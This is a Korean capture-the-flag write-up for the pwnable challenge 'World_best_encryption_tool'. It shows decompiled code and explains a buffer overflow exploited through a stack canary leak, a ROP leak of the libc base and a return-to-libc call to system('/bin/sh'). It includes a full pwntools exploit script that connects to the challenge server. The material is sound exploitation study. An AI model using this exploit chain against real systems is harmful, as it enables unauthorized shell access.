gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Canary 보호기법이 걸려 있다.
{
unsigned int i; // [rsp+8h] [rbp-88h]
char s1; // [rsp+Ch] [rbp-84h]
char src[64]; // [rsp+10h] [rbp-80h]
char dest; // [rsp+50h] [rbp-40h]
unsigned __int64 v8; // [rsp+88h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
do
{
puts("Your text)");
__isoc99_scanf("%s", src);
for ( i = 0; i <= 0x31; ++i )
src[i] ^= 0x1Cu;
strncpy(&dest, src, 0x39uLL);
printf("Encrypted text)\n%s", &dest);
puts("\nWanna encrypt other text? (Yes/No)");
__isoc99_scanf("%s", &s1);
}
while ( !strcmp(&s1, "Yes") );
if ( strcmp(&s1, "No") )
printf("It's not on the option");
return 0;
}
scanf 부분에서 BOF가 터진다. 두번째의 scanf함수를 이용하여 공격을 진행하겠다.
공격 진행 순서는 다음과 같다.
1. Canary Leak
2. ROP를 통한 libc base Leak
3. RTL로 system('/bin/sh') 실행
1. Canary Leak
BOF를 하려면 Canary 값을 Leak해야한다. 코드를 보면 xor 연산 후 strncpy함수를 실행한다. 복사되는 부분부터 canary 사이까지 거리는 0x38이다(0x40 - 0x8). canary의 첫 바이트는 00이므로 0x39만큼 채우고 뒤에 있는 canary 값을 Leak하면 printf함수를 통해 Leak이 가능해진다.
2. ROP를 통한 libc base Leak
main 함수 안에 setvbuf가 있으므로 이를 이용해 base 주소를 구하면 된다. puts함수를 이용하기 위해 pop ret 가젯을 찾은 후, ROP를 진행해 setvbuf의 실제 주소를 구하면 된다. 다만 주의할 점은 문제에서 libc를 따로 안줬으므로 우리가 버전을 찾아야 한다. 구글링에 "libc database 사용법"이라 치면 나오니 이를 통해 구하자.
setvbuf의 실 주소를 구한 후 찾은 libc의 setvbuf와 빼서 base 주소를 구한다.
3. RTL로 system('/bin/sh') 실행
libc database를 이용해 system의 주소, "/bin/sh"의 주소를 구하고, 실 주소까지 구한다.
Exploit Code
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3027)
e = ELF('./World_best_encryption_tool')
pr = 0x00000000004008e3
setvbuf_offset = 0x6fe70
setvbuf_got = e.got['setvbuf']
system_offset = 0x45390
binsh_offset = 0x18cd57
puts_plt = e.plt['puts']
main = e.symbols['main']
# Canary Leak
pay = 'A' * 57
p.recvuntil('Your text)\n')
p.sendline(pay)
p.recvuntil('\n')
p.recv(57)
canary = u64('\x00' + p.recv(7))
log.info("canary : " + hex(canary))
p.recvuntil("/No)\n")
p.sendline("Yes")
p.sendlineafter("text)\n", '123')
# Leak base addr
payload = 'A' * 0x7c
payload += p64(canary)
payload += 'B' * 0x8
payload += p64(pr)
payload += p64(setvbuf_got)
payload += p64(puts_plt)
payload += p64(main)
p.recvuntil("No)\n")
p.sendline(payload)
p.recvuntil('option')
setvbuf_addr = p.recv(6).ljust(8, "\x00")
setvbuf_addr = u64(setvbuf_addr)
log.info("setvbuf_addr : " + hex(setvbuf_addr))
base = setvbuf_addr - setvbuf_offset
log.info("Base : " + hex(base))
system = base + system_offset
binsh = base + binsh_offset
log.info("System : " + hex(system))
# RTL Attack
pay1 = 'A' * 0x7c
pay1 += p64(canary)
pay1 += 'B' * 0x8
pay1 += p64(pr)
pay1 += p64(binsh)
pay1 += p64(system)
p.sendlineafter('text)\n', str(123))
p.sendlineafter("No)\n", pay1)
p.interactive()